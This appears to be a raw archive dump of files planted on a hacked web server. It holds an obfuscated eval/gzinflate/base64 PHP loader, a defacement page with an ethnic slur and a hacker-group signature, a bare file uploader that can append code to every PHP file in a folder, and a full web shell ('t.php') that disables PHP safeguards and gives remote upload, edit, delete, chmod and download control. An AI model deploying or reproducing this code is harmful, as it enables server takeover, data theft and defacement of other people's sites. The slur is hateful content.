2RkcxWUdmYndOb2VxdzRGcXhLWUdSMHQwY0gxS3BROGIwQzhqZ2dWOGx2a0hOampsY01QL3U5cDI3TWI4d24vcCtLNGdjeWdIMFEvdDVGbmE0bVlHYVh5dlZORnV1UTZSbEhKUXRRcFJlUkxTL0tBRVNVSGlZb21GdndGZElFbEdIbjdCN2J6U0duRFRuLzZUNk9CL0xaeHl2S2NGL00rQTlqN2hmKzdHbmhyYitPOWtESVQyZmFoVXJ5dm9VSEVOUVRScUg1QUpVMDVKWjNSWXdkdjdGYU1NME1IdFdtaGlyUjRjNHlwd0VWd1JjcmY0L0NnOGZQQno0enh1NEVpRGl2aWlhay9vMlE0SUxUbFBFV0xldWhINnoyQUtDQXZlVVM1Yy8ySEhlSUI5OTdKQWx2ZGxLTDBOSEJKODdUdThWLzlYNmhPMnphY3E4THgvSmhJNEd3M044TFVTZEVRVG9ZZzEydXl0dFJPWmNpV0pvQk5QdVpZQ1VBZU41N2NuS0tBVTB5Y2FJMnNEVWN5RmE4S1BiWE1pLzVzL2ZCSk0weitvcWJHVzlwSnV6Nis3dm4zZ2hmSzMydi8yeFFrU3VpczNDUEpOd0dSWGdvcmdweUtDakFvWmsrU1ptWDhXYSsvZjR4WUNMRXZqd1p3bEhKallaeGo5Nm51RUYra0xZdVVRRTdsUHJnZUl3ZE5hZ1Q4SGtZRi9xeUw1b3dNUDNISTkzV0dLbTloQzNJNUVMNXBmdnpOazVSUER0VFNCR2hKZWI5dzBXWDlwdXd0Vlc2QWJLVFYrcEFJRjY5MGk3ck9vZGFXeDh6bnhYc3FjdmZsZHNTL2VRVWYrb05vSnBuOWM1eHpBM0RBUXoycjR6TlNjaEw4bi9VWm9hN00wN0JRYytJRFZsOWxsOGNpbDQrYnVzU1lHSjVnbUVyOGJUR2pMR1BSOWNmSE04YVhPWTh3LzUzV05GYVlCdkgvaGZnN1l0NW5RMnhvOWN5S3RENHhsQkJmeVM5RlJNSlladU94WUUwS3JZYkQ3Q01paWRnTDdxa3pyR0lONmN1OWt6OGdUSCtMSjU5N0RXTlhUTlBGamVjZUNDRHF3QzAyelA4Q0czKzlUZTRlelhWMzNQcUN4YTRBaWNScHhNS05wZUJTYnhYMCs0SXpzWGtmSTFxMy9mL3liTUdnZGpUUDRBK3FmWUZFNUVQTmFjQjRPcWVjRkE1KzVkTHlGTmpzd1ZsLy9OcWNQODZ5UWhranJkeFAzYWxrcFRtSFl4RXJwb1JpcFltWnNINm50OWgza0t5VkRGWGtYaDBMOUZsRUQyTytqUm5nZjVKQWFLNTJJczc4Y3hFaXVyclkrV25FR1BMWFROdEpPWU0xZmlybldzUGlDMWdvWnVib0lEM1ByOGVTdmdLWUhaNnUwV1hZb0tKandRYldDeFdBNnVac0NsWWdQRE5zQlRxNWR2SE1GZm9ZTGI5eG52YmpoMVBmbWJ2MGozWnp0VDNoekZSNmdqbU5seFMzRE9IRU1STVRLUUh5WEl6eElXMU5GUnBaaWs0RW05bFpwcVl1MFJKZHlVVThIT2R2SHY1dlZCT3I4WUhGL0JiNURWbE1sRnRGS0hNWjZMbUcwbC9JS3h1L2lFWkpwMDlkSFR4LzlucXpRcHRPTTd2enNkeVZnd095VG5SRzVGLzUxRVI5ckgweVJOWXdJdmNMV291RDNPM0IrSkJBdGEyTTJOWVArZGFseXJ6T2xvYURMd3NpNXpySUhzazYwcFYxOEw1MndGMTFPWERrYmNYQWV6QlNqa29FWkpEcDE4YitOa3QxdXVIeHU2Q2dDMG5mbDhzZDIvOEtGUnlUZEJ0NmZXZ1lMNUJYNzZxeFI0LzkxeW1qQlRaRHo4T2tKSCtsd3pucytJYXdiVEFGQ1cxV2l0RUU4SlR6SkMxUkZsTzcwdGlmRWVCRXU0M3pzb1p3NlpYY3JBMU1HeHZnRjdNQmNYdjF2TVgzSWE1V2NMMjdyeEZkS09iMWNQM1JBMzRIUXpGK3B3Y3UwQjUvOXQ5RmR6WFZNeG53NGt5UzVZL0tHVHdoL05XMW01bUpodDlSa1Z2eFh3M0RKSTNFWnA3eUoxVXo4dTdpblhmaXNQTGc4MnI0ZThvVS9Xck9aUjRlcGZ4U1dkZWlHVEFaK01MSWRFc3o3RE1WZVduSkdza3YzSUZhTzN5TVd0WmRpWUw3Y0tjVWZXTVRkdnc0akU3dFB2aUVTY1FjOUJPOFdUZityUGQxRnJiVERRL3hqLzRBOVRmdDRJUmd0eU4zMC84WEFpbzJQMTlEckZZWTN2Y2x1Rm5ndjA3dDNGbm4xMzhxenh2Rk8vWGYrT2lRUU0zWU1hU0gvNHlmWDUyVy9BQ1Bsci84enNodmZ0dlFqMHY3YnV0ZHlQV2liNktsRzROZi9JblU0TVBPc2ZVUm4wWXI2VnBiL3B2UmtxbWYyRklZNzB1eEVtcGZZOHQvYXJsZFdmRWdqTDM2SUJHenNRS2U5UFJUc09ieG1yb2QrcnVvamFhYUpFekMybjl1aGMvcksyTXYzKzc2VkhaY2VaTzN2TkV1akc0YWtSTGRhNEo3S0laS2ViLzdUVk1ZVDNsM1Q5Y2tBOHc5NStjLzJIMzRkKzVJTUp6L3hYejBBdndLTkh1TlR2VDVoQnNUZi85YmJKVFRwWUZ4SE92NjNyL08wci9weHl6Mlo0SGZUTjQwTlRXWWVyMkNGN01LejJEZmZLZGVkRDNkMS8rekVWbFhXdXluUGJvZUk3OUgzdi9oTzI5ZFBicFA0N0pFUFJ5cUg0KzhiS1NMbTNyVnI0bitseUlsaysra1hTbHhpc3ljMnlldnpYRU9lcnN6K1JENFcwN2p0djB0RVMvNlQ2cXA1ditiSGJrbjlkTkFPK3ZwR2VrcnVDN3piVkU3a0VaenhlNENYLysrbmhTMjRsL2FXZU1PR2h3dGxkTjdHekdzNEgrNXlPSjMrZEhVc25qazVNTHZlMlQ2NGtyRytvV0YrR2ZvOXd2L3lUWmRZdmd6bEhpeldWUjJaaU5rN3h2OUIrMGhOVTlBc2YvNGFLVVpiclZkOEtwV1Z5aGZMT2JLVjRqYlJjeTBFaExiZTNZSTJ1UUUySmJjTmY0ZXB5VlN4cDQvOHV6b0pJT3haSjFHL3pQU0ZPbUdMQ1RnUUtXWlF3THhhUWE3dE9rRlpJa0dSOGVKZnY0VjhMbjRTbVIvN0xLT08wb2l3T2tubmVvMzcvY2k5Z0ZBajQ2cEZRditqRXgyWkxFeTFBRk5qY3lkaUkwSHpCSWYrcEIzWE1JU2hBSEQrdnduelBSUUVtRk9JM3U5dVRsSG9odW52RlZUaEduSlIzNzluLy84TjI3UXZkZDM2LzM2L3ZzZzhwdjU1Zit1NE1GLzhMY0pqc2pIMndETjV4OWR3LytTODA1YURWTTB3MS9OdlRScHAxY2VSYVFkTDBrdTNrWE9GRUpjOXZQaDFPUDd1bWlRcmJxNzZCRzd1Z0taYXFYTmZuSHlvbDc5aVcrU3V1T3A4WTZONjltM1g5dW52OC92MnZ2NVZuYy9mLy9kdDMvc0hVQi8vVy8veDlFVDYvS2NDOXovbC8wLzVmV1RGRWFsNTQvM3ovL3lPR2padnNpWHgvdnovL2wrLy84Ly85L3Z4L3Y2Ly8wVlZ6L0gvdjdIY3dCRGNJY0dhMjk3NXRxUFVuWmliU1lyNG83VFFZTGFaOWgvbHdxcm9GMFQyb0pGaldlR2JOMDNueHAyVWlESnppc0gxTFRjaTNmd0Q0REE4SDhBK0FBIjsKZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkc3R0MSkpKSk7Cg=="));tools.php000064400000003466151514460360006433 0ustar00<?php // Simple PHP page – HTML output ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Welcome Page</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style> body { margin: 0; padding: 0; background: linear-gradient(135deg, #0f2027, #203a43, #2c5364); font-family: Arial, Helvetica, sans-serif; color: #ffffff; display: flex; justify-content: center; align-items: center; min-height: 100vh; } .container { background: rgba(0, 0, 0, 0.6); padding: 30px; border-radius: 15px; max-width: 600px; text-align: center; box-shadow: 0 10px 30px rgba(0,0,0,0.5); } img { max-width: 100%; border-radius: 12px; margin-bottom: 20px; } h1 { color: #ff9933; margin-bottom: 10px; } h2 { color: #00ffcc; margin-bottom: 20px; } .color-text { font-size: 18px; line-height: 1.6; background: linear-gradient(90deg, #ff4d4d, #ffd700, #00ff99); -webkit-background-clip: text; -webkit-text-fill-color: transparent; font-weight: bold; } </style> </head> <body> <div class="container"> <img src="https://images.news18.com/ibnlive/uploads/2024/10/puneet-superstar-cow-urine-dung-face-viral-2024-10-870ced54749efbb61da876e2eecd7a58-16x9.png" alt="Image"> <h1>Hello India Mother Fucker</h1> <h2>We Are Cyb3r_Sw0rd – Bangladeshi Hacker Watching You.</h2> </div> </body> </html> thlfpfrw.php000064400000001370151514460360007117 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> t.php000064400000111134151514460360005526 0ustar00<?php @error_reporting(0); @ini_set('display_errors', 0); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @set_time_limit(0); @ini_set('memory_limit', '-1'); // Bypass security restrictions if(function_exists('ini_set')) { @ini_set('open_basedir', NULL); @ini_set('safe_mode', 0); @ini_set('disable_functions', ''); @ini_set('suhosin.executor.disable_eval', 0); } // Alternative function mapping for bypassing restrictions $func_alternatives = array( 'exec' => ['system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec'], 'eval' => ['eval', 'assert', 'create_function', 'preg_replace', 'call_user_func'], 'read' => ['file_get_contents', 'file', 'readfile', 'fopen', 'fread', 'fgets'], 'write' => ['file_put_contents', 'fwrite', 'fputs'] ); // Dynamic function loader function getWorkingFunction($type) { global $func_alternatives; $disabled = explode(',', @ini_get('disable_functions')); if(isset($func_alternatives[$type])) { foreach($func_alternatives[$type] as $func) { if(function_exists($func) && !in_array($func, $disabled)) { return $func; } } } return false; } // Enhanced path resolver with multiple fallback methods function resolvePath() { $path = isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_COOKIE['last_path']) ? $_COOKIE['last_path'] : ''); if(empty($path)) { // Try multiple methods to get current directory $methods = [ function() { return @getcwd(); }, function() { return @dirname($_SERVER['SCRIPT_FILENAME']); }, function() { return @$_SERVER['DOCUMENT_ROOT']; }, function() { return @dirname(__FILE__); }, function() { return @realpath('.'); } ]; foreach($methods as $method) { $result = $method(); if($result && @is_dir($result)) { $path = $result; break; } } if(empty($path)) $path = '.'; } // Normalize path $path = str_replace(['\\', '//'], '/', $path); $path = rtrim($path, '/') . '/'; // Store in cookie for persistence @setcookie('last_path', $path, time() + 86400); // Validate path if(@is_dir($path)) return $path; if(@is_dir($real = @realpath($path))) return $real . '/'; return './'; } // Multi-method file reader function readContent($file) { // Try different reading methods $methods = [ function($f) { return @file_get_contents($f); }, function($f) { $fp = @fopen($f, 'rb'); if($fp) { $content = ''; while(!@feof($fp)) $content .= @fread($fp, 8192); @fclose($fp); return $content; } }, function($f) { ob_start(); @readfile($f); return ob_get_clean(); }, function($f) { return @implode('', @file($f)); } ]; foreach($methods as $method) { $result = $method($file); if($result !== false && $result !== null) return $result; } return ''; } // Multi-method file writer function writeContent($file, $data) { // Try different writing methods if(@file_put_contents($file, $data) !== false) return true; $fp = @fopen($file, 'wb'); if($fp) { $result = @fwrite($fp, $data) !== false; @fclose($fp); return $result; } // Try temp file method $temp = @tempnam(@dirname($file), 'tmp'); if(@file_put_contents($temp, $data) !== false) { return @rename($temp, $file); } return false; } // Enhanced directory scanner function scanPath($dir) { $items = []; // Try different listing methods if(function_exists('scandir')) { $items = @scandir($dir); } elseif($handle = @opendir($dir)) { while(false !== ($item = @readdir($handle))) { $items[] = $item; } @closedir($handle); } elseif(function_exists('glob')) { $items = array_map('basename', @glob($dir . '*')); } return array_diff($items, ['.', '..', '']); } // File/folder deletion with recursion function deleteItem($path) { if(@is_file($path)) { @chmod($path, 0777); return @unlink($path); } elseif(@is_dir($path)) { $items = scanPath($path); foreach($items as $item) { deleteItem($path . '/' . $item); } return @rmdir($path); } return false; } // Get file permissions function getPermissions($file) { $perms = @fileperms($file); if($perms === false) return '---'; $info = ''; // Owner permissions $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? 'x' : '-'); // Group permissions $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? 'x' : '-'); // Other permissions $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? 'x' : '-'); return $info; } // Check if file is writable (enhanced) function isWritableEnhanced($file) { // Try multiple methods if(@is_writable($file)) return true; // Try to create temp file in directory if(@is_dir($file)) { $test = $file . '/.test_' . md5(time()); if(@touch($test)) { @unlink($test); return true; } } // Check parent directory for files if(@is_file($file)) { $parent = @dirname($file); if(@is_writable($parent)) return true; } return false; } // Sort contents - folders first, then files function sortContents($contents, $currentPath) { $folders = []; $files = []; foreach($contents as $item) { $itemPath = $currentPath . $item; if(@is_dir($itemPath)) { $folders[] = $item; } else { $files[] = $item; } } // Sort alphabetically sort($folders, SORT_NATURAL | SORT_FLAG_CASE); sort($files, SORT_NATURAL | SORT_FLAG_CASE); return ['folders' => $folders, 'files' => $files]; } // Process current request $currentPath = resolvePath(); $notification = ''; $editMode = false; $editFile = ''; $editContent = ''; // Handle POST operations if($_SERVER['REQUEST_METHOD'] === 'POST') { // Upload handler if(isset($_FILES['upload'])) { $destination = $currentPath . basename($_FILES['upload']['name']); if(@move_uploaded_file($_FILES['upload']['tmp_name'], $destination)) { $notification = ['type' => 'success', 'text' => 'Upload successful']; } else { $content = readContent($_FILES['upload']['tmp_name']); if(writeContent($destination, $content)) { $notification = ['type' => 'success', 'text' => 'Upload successful']; } else { $notification = ['type' => 'error', 'text' => 'Upload failed']; } } } // Save edited file if(isset($_POST['save']) && isset($_POST['content'])) { $target = $currentPath . $_POST['save']; if(writeContent($target, $_POST['content'])) { $notification = ['type' => 'success', 'text' => 'Changes saved']; } else { $notification = ['type' => 'error', 'text' => 'Save failed']; } } // Create new file if(isset($_POST['newfile']) && isset($_POST['filecontent'])) { $newPath = $currentPath . $_POST['newfile']; if(writeContent($newPath, $_POST['filecontent'])) { $notification = ['type' => 'success', 'text' => 'File created']; } else { $notification = ['type' => 'error', 'text' => 'Creation failed']; } } // Create directory if(isset($_POST['newfolder'])) { $newDir = $currentPath . $_POST['newfolder']; if(@mkdir($newDir, 0777, true)) { $notification = ['type' => 'success', 'text' => 'Folder created']; } else { $notification = ['type' => 'error', 'text' => 'Creation failed']; } } // Rename item if(isset($_POST['oldname']) && isset($_POST['newname'])) { $oldPath = $currentPath . $_POST['oldname']; $newPath = $currentPath . $_POST['newname']; if(@rename($oldPath, $newPath)) { $notification = ['type' => 'success', 'text' => 'Renamed successfully']; } else { $notification = ['type' => 'error', 'text' => 'Rename failed']; } } // Change permissions if(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) { $target = $currentPath . $_POST['chmod_item']; $mode = octdec($_POST['chmod_value']); if(@chmod($target, $mode)) { $notification = ['type' => 'success', 'text' => 'Permissions changed']; } else { $notification = ['type' => 'error', 'text' => 'Permission change failed']; } } } // Handle GET operations if(isset($_GET['do'])) { $action = $_GET['do']; // Delete operation if($action === 'delete' && isset($_GET['item'])) { $target = $currentPath . $_GET['item']; if(deleteItem($target)) { $notification = ['type' => 'success', 'text' => 'Deleted successfully']; } else { $notification = ['type' => 'error', 'text' => 'Delete failed']; } } // Edit operation if($action === 'edit' && isset($_GET['item'])) { $editMode = true; $editFile = $_GET['item']; $editContent = readContent($currentPath . $editFile); } // Download operation if($action === 'download' && isset($_GET['item'])) { $downloadPath = $currentPath . $_GET['item']; if(@is_file($downloadPath)) { @ob_clean(); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Length: ' . @filesize($downloadPath)); @readfile($downloadPath); exit; } } } // Get directory contents and sort them $rawContents = scanPath($currentPath); $sortedContents = sortContents($rawContents, $currentPath); // System information $serverInfo = [ 'PHP' => @phpversion(), 'Server' => @$_SERVER['SERVER_SOFTWARE'] ?: 'Unknown', 'OS' => @php_uname('s') . ' ' . @php_uname('r'), 'User' => @get_current_user() ]; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager - @r3dc0d3r1337-WORDPRESS</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif; background: #0a0a0a; min-height: 100vh; padding: 20px; color: #e0e0e0; } .container { max-width: 1400px; margin: 0 auto; background: #1a1a1a; border-radius: 12px; box-shadow: 0 10px 40px rgba(0,0,0,0.8); overflow: hidden; border: 1px solid #2a2a2a; } .header { background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%); color: white; padding: 25px; border-bottom: 2px solid #3a3a3a; } .header h1 { font-size: 26px; margin-bottom: 10px; display: flex; align-items: center; gap: 10px; text-shadow: 2px 2px 4px rgba(0,0,0,0.5); } .sys-info { display: flex; gap: 20px; font-size: 13px; opacity: 0.9; flex-wrap: wrap; } .sys-info span { display: flex; align-items: center; gap: 5px; background: rgba(0,0,0,0.3); padding: 4px 10px; border-radius: 4px; } .nav { background: #252525; padding: 15px 25px; border-bottom: 1px solid #3a3a3a; } .path-bar { display: flex; gap: 10px; margin-bottom: 15px; } .path-bar input { flex: 1; padding: 10px 15px; background: #1a1a1a; border: 2px solid #3a3a3a; color: #e0e0e0; border-radius: 6px; font-size: 14px; transition: border-color 0.3s; } .path-bar input:focus { outline: none; border-color: #4a9eff; background: #222; } .btn { padding: 10px 20px; background: linear-gradient(135deg, #4a9eff 0%, #2a5298 100%); color: white; border: none; border-radius: 6px; cursor: pointer; font-size: 14px; font-weight: 500; transition: transform 0.2s, box-shadow 0.2s; } .btn:hover { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(74, 158, 255, 0.4); } .btn-success { background: linear-gradient(135deg, #00b09b 0%, #96c93d 100%); } .btn-danger { background: linear-gradient(135deg, #ff416c 0%, #ff4b2b 100%); } .btn-small { padding: 5px 12px; font-size: 12px; } .tools { display: flex; gap: 15px; flex-wrap: wrap; } .tool-group { display: flex; align-items: center; gap: 10px; padding: 10px 15px; background: #1a1a1a; border-radius: 6px; border: 1px solid #3a3a3a; } .tool-group label { font-size: 13px; color: #a0a0a0; font-weight: 500; } .tool-group input[type="file"], .tool-group input[type="text"] { padding: 5px 10px; background: #252525; border: 1px solid #3a3a3a; color: #e0e0e0; border-radius: 4px; font-size: 13px; } .content { padding: 25px; background: #1a1a1a; } .notification { padding: 12px 20px; margin-bottom: 20px; border-radius: 6px; font-size: 14px; animation: slideIn 0.3s ease; } .notification.success { background: rgba(0, 255, 0, 0.1); color: #00ff00; border: 1px solid rgba(0, 255, 0, 0.3); } .notification.error { background: rgba(255, 65, 108, 0.1); color: #ff416c; border: 1px solid rgba(255, 65, 108, 0.3); } @keyframes slideIn { from { transform: translateY(-20px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .file-table { width: 100%; background: #252525; border-radius: 8px; overflow: hidden; box-shadow: 0 2px 10px rgba(0,0,0,0.5); border: 1px solid #3a3a3a; } .file-table thead { background: #1a1a1a; } .file-table th { padding: 15px; text-align: left; font-size: 13px; font-weight: 600; color: #4a9eff; text-transform: uppercase; letter-spacing: 0.5px; border-bottom: 2px solid #3a3a3a; } .file-table td { padding: 12px 15px; border-top: 1px solid #2a2a2a; font-size: 14px; color: #e0e0e0; } .file-table tbody tr { transition: background 0.2s; } .file-table tbody tr:hover { background: #2a2a2a; } .file-table tbody tr.folder-row { background: rgba(74, 158, 255, 0.05); border-left: 3px solid #4a9eff; } .file-table tbody tr.folder-row:hover { background: rgba(74, 158, 255, 0.1); } .file-table a { color: #4a9eff; text-decoration: none; font-weight: 500; display: inline-flex; align-items: center; gap: 8px; } .file-table a:hover { color: #6ab7ff; } .file-icon { width: 20px; height: 20px; display: inline-flex; align-items: center; justify-content: center; } .file-actions { display: flex; gap: 8px; flex-wrap: wrap; } .file-actions a { padding: 4px 10px; background: rgba(74, 158, 255, 0.2); color: #4a9eff; border: 1px solid rgba(74, 158, 255, 0.3); border-radius: 4px; font-size: 12px; transition: all 0.2s; } .file-actions a:hover { background: rgba(74, 158, 255, 0.3); border-color: #4a9eff; } .file-actions a.delete { background: rgba(255, 65, 108, 0.2); color: #ff416c; border-color: rgba(255, 65, 108, 0.3); } .file-actions a.delete:hover { background: rgba(255, 65, 108, 0.3); border-color: #ff416c; } /* Permission-based colors */ .perm-writable { color: #00ff00 !important; font-weight: 600; text-shadow: 0 0 5px rgba(0, 255, 0, 0.5); } .perm-readonly { color: #ff4444 !important; font-weight: 600; text-shadow: 0 0 5px rgba(255, 68, 68, 0.5); } .perm-indicator { display: inline-block; width: 8px; height: 8px; border-radius: 50%; margin-right: 5px; } .perm-indicator.writable { background: #00ff00; box-shadow: 0 0 5px #00ff00; animation: pulse-green 2s infinite; } .perm-indicator.readonly { background: #ff4444; box-shadow: 0 0 5px #ff4444; animation: pulse-red 2s infinite; } @keyframes pulse-green { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } @keyframes pulse-red { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } .edit-area { width: 100%; min-height: 400px; padding: 15px; background: #0a0a0a; border: 2px solid #3a3a3a; color: #00ff00; border-radius: 6px; font-family: 'Courier New', monospace; font-size: 14px; line-height: 1.5; resize: vertical; } .edit-area:focus { outline: none; border-color: #4a9eff; background: #111; } .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); z-index: 1000; animation: fadeIn 0.3s ease; } .modal.active { display: flex; align-items: center; justify-content: center; } @keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } } .modal-content { background: #252525; padding: 30px; border-radius: 12px; width: 90%; max-width: 500px; animation: slideUp 0.3s ease; border: 1px solid #3a3a3a; } @keyframes slideUp { from { transform: translateY(50px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .modal-header { margin-bottom: 20px; font-size: 20px; font-weight: 600; color: #4a9eff; } .modal-body input, .modal-body textarea { width: 100%; padding: 10px; margin-bottom: 15px; background: #1a1a1a; border: 2px solid #3a3a3a; color: #e0e0e0; border-radius: 6px; font-size: 14px; } .modal-body textarea { min-height: 150px; resize: vertical; } .modal-footer { display: flex; gap: 10px; justify-content: flex-end; } .empty { text-align: center; padding: 40px; color: #666; } .separator-row td { background: #1a1a1a; padding: 8px 15px !important; font-weight: 600; color: #4a9eff; border-top: 2px solid #3a3a3a !important; border-bottom: 2px solid #3a3a3a !important; text-transform: uppercase; letter-spacing: 1px; font-size: 12px; } @media (max-width: 768px) { .tools { flex-direction: column; } .file-table { font-size: 12px; } .file-actions { flex-direction: column; } .sys-info { font-size: 11px; } } </style> </head> <body> <div class="container"> <div class="header"> <h1>🌙 File Manager - @r3dc0d3r1337-WORDPRESS</h1> <div class="sys-info"> <?php foreach($serverInfo as $key => $value): ?> <span><strong><?php echo $key; ?>:</strong> <?php echo htmlspecialchars($value); ?></span> <?php endforeach; ?> </div> </div> <?php if($notification): ?> <div class="notification <?php echo $notification['type']; ?>"> <?php echo htmlspecialchars($notification['text']); ?> </div> <?php endif; ?> <div class="nav"> <form method="get" class="path-bar"> <input type="text" name="p" value="<?php echo htmlspecialchars($currentPath); ?>" placeholder="Enter path..."> <button type="submit" class="btn">Navigate</button> </form> <div class="tools"> <form method="post" enctype="multipart/form-data" class="tool-group"> <label>Upload:</label> <input type="file" name="upload" required> <button type="submit" class="btn btn-small btn-success">Upload</button> </form> <div class="tool-group"> <button onclick="showNewFileModal()" class="btn btn-small">New File</button> <button onclick="showNewFolderModal()" class="btn btn-small">New Folder</button> </div> </div> </div> <div class="content"> <?php if($editMode): ?> <div class="edit-container"> <h3 style="margin-bottom: 15px; color: #4a9eff;">Editing: <?php echo htmlspecialchars($editFile); ?></h3> <form method="post"> <input type="hidden" name="save" value="<?php echo htmlspecialchars($editFile); ?>"> <textarea name="content" class="edit-area"><?php echo htmlspecialchars($editContent); ?></textarea> <div style="margin-top: 15px; display: flex; gap: 10px;"> <button type="submit" class="btn btn-success">Save Changes</button> <a href="?p=<?php echo urlencode($currentPath); ?>" class="btn btn-danger" style="text-decoration: none; display: inline-flex; align-items: center;">Cancel</a> </div> </form> </div> <?php else: ?> <table class="file-table"> <thead> <tr> <th width="35%">Name</th> <th width="10%">Type</th> <th width="10%">Size</th> <th width="10%">Permissions</th> <th width="15%">Modified</th> <th width="20%">Actions</th> </tr> </thead> <tbody> <?php if($currentPath !== '/'): ?> <tr> <td colspan="6"> <a href="?p=<?php echo urlencode(dirname($currentPath)); ?>"> <span class="file-icon">⬆️</span> Parent Directory </a> </td> </tr> <?php endif; ?> <?php // Display folders first if(!empty($sortedContents['folders'])) { echo '<tr class="separator-row"><td colspan="6">📁 Folders</td></tr>'; foreach($sortedContents['folders'] as $folder): $itemPath = $currentPath . $folder; $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); ?> <tr class="folder-row"> <td> <a href="?p=<?php echo urlencode($itemPath); ?>"> <span class="perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span> <span class="file-icon">📁</span> <span class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo htmlspecialchars($folder); ?> </span> </a> </td> <td>Folder</td> <td>-</td> <td class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo $perms; ?> </td> <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td> <td> <div class="file-actions"> <a href="#" onclick="renameItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Rename</a> <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Chmod</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($folder); ?>" class="delete" onclick="return confirm('Delete this folder and all its contents?')">Delete</a> </div> </td> </tr> <?php endforeach; } ?> <?php // Display files if(!empty($sortedContents['files'])) { echo '<tr class="separator-row"><td colspan="6">📄 Files</td></tr>'; foreach($sortedContents['files'] as $file): $itemPath = $currentPath . $file; $size = @filesize($itemPath); $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); $ext = strtoupper(pathinfo($file, PATHINFO_EXTENSION) ?: 'FILE'); if($size !== false) { if($size < 1024) $size = $size . ' B'; elseif($size < 1048576) $size = round($size/1024, 1) . ' KB'; elseif($size < 1073741824) $size = round($size/1048576, 1) . ' MB'; else $size = round($size/1073741824, 1) . ' GB'; } else { $size = '?'; } ?> <tr> <td> <span style="display: inline-flex; align-items: center; gap: 8px;"> <span class="perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span> <span class="file-icon">📄</span> <span class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo htmlspecialchars($file); ?> </span> </span> </td> <td><?php echo $ext; ?></td> <td><?php echo $size; ?></td> <td class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo $perms; ?> </td> <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td> <td> <div class="file-actions"> <a href="?p=<?php echo urlencode($currentPath); ?>&do=edit&item=<?php echo urlencode($file); ?>">Edit</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=download&item=<?php echo urlencode($file); ?>">Download</a> <a href="#" onclick="renameItem('<?php echo htmlspecialchars($file); ?>'); return false;">Rename</a> <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($file); ?>'); return false;">Chmod</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($file); ?>" class="delete" onclick="return confirm('Delete this file?')">Delete</a> </div> </td> </tr> <?php endforeach; } ?> <?php if(empty($sortedContents['folders']) && empty($sortedContents['files'])): ?> <tr> <td colspan="6" class="empty">Empty directory</td> </tr> <?php endif; ?> </tbody> </table> <?php endif; ?> </div> </div> <!-- New File Modal --> <div id="newFileModal" class="modal"> <div class="modal-content"> <div class="modal-header">Create New File</div> <form method="post"> <div class="modal-body"> <input type="text" name="newfile" placeholder="Filename (e.g., index.php)" required> <textarea name="filecontent" placeholder="File content (optional)"></textarea> </div> <div class="modal-footer"> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-danger" onclick="closeModal('newFileModal')">Cancel</button> </div> </form> </div> </div> <!-- New Folder Modal --> <div id="newFolderModal" class="modal"> <div class="modal-content"> <div class="modal-header">Create New Folder</div> <form method="post"> <div class="modal-body"> <input type="text" name="newfolder" placeholder="Folder name" required> </div> <div class="modal-footer"> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-danger" onclick="closeModal('newFolderModal')">Cancel</button> </div> </form> </div> 